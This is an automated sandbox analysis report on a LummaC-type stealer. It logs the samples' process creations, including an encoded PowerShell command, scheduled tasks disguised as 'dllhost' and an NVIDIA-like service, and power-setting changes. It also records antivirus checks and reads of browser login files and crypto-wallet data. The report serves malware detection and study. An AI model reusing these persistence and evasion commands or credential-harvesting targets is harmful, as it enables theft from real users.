Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell -encodedcommand "paajaeoarqawadaatab0adcaugbeag8aiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwblahyacaajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbmahuarabuacmapgagac0argbvahiaywblacaapaajadyaqqblageadabuacmapga=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -encodedcommand "paajaeoarqawadaatab0adcaugbeag8aiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwblahyacaajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbmahuarabuacmapgagac0argbvahiaywblacaapaajadyaqqblageadabuacmapga="
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell -encodedcommand "paajaeoarqawadaatab0adcaugbeag8aiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwblahyacaajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbmahuarabuacmapgagac0argbvahiaywblacaapaajadyaqqblageadabuacmapga=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -encodedcommand "paajaeoarqawadaatab0adcaugbeag8aiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwblahyacaajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwbmahuarabuacmapgagac0argbvahiaywblacaapaajadyaqqblageadabuacmapga="
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246E4510 GetConsoleWindow,ShowWindow,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,_Thrd_detach,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,GetCurrentThreadId,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error,std::_Throw_Cpp_error, 0_2_00007FF6246E4510
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6247135E0 cpuid 0_2_00007FF6247135E0
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 0_2_00007FF62470E594
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: GetLocaleInfoW, 0_2_00007FF624701E4C
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: EnumSystemLocalesW, 0_2_00007FF62470DEA8
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 0_2_00007FF62470E010
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: EnumSystemLocalesW, 0_2_00007FF62470DF78
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: EnumSystemLocalesW, 0_2_00007FF624701974
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: GetLocaleInfoW, 0_2_00007FF62470E258
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW, 0_2_00007FF62470DB4C
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 0_2_00007FF62470E3B0
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: GetLocaleInfoW, 0_2_00007FF62470E460
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Queries volume information: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F2060 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 0_2_00007FF6246F2060
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Modifies power options to not sleep / hibernate
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
AV process strings found (often used to terminate AV products)
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1580230914.0000000001611000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\dmikhsv\file_scaricato.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file_scaricato.exe PID: 5228, type: MEMORYSTR
Source: Yara match File source: 14.2.file_scaricato.exe.ba0000.0.unpack, type: UNPACKEDPE
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file_scaricato.exe, 0000000E.00000003.2090402698.00000000015D2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":"Wallets/Electrum"YO
Source: file_scaricato.exe, 0000000E.00000003.2090402698.00000000015D2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: 1520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%appda
Source: file_scaricato.exe, 0000000E.00000003.2090402698.00000000015D2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: nance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JKO
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: file_scaricato.exe, 0000000E.00000003.1555290056.0000000001583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletG
Source: file_scaricato.exe, 0000000E.00000003.1555290056.0000000001583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletG
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Ethereum
Source: file_scaricato.exe, 0000000E.00000003.1555269393.00000000015D7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file_scaricato.exe, 0000000E.00000003.1555329807.0000000001580000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
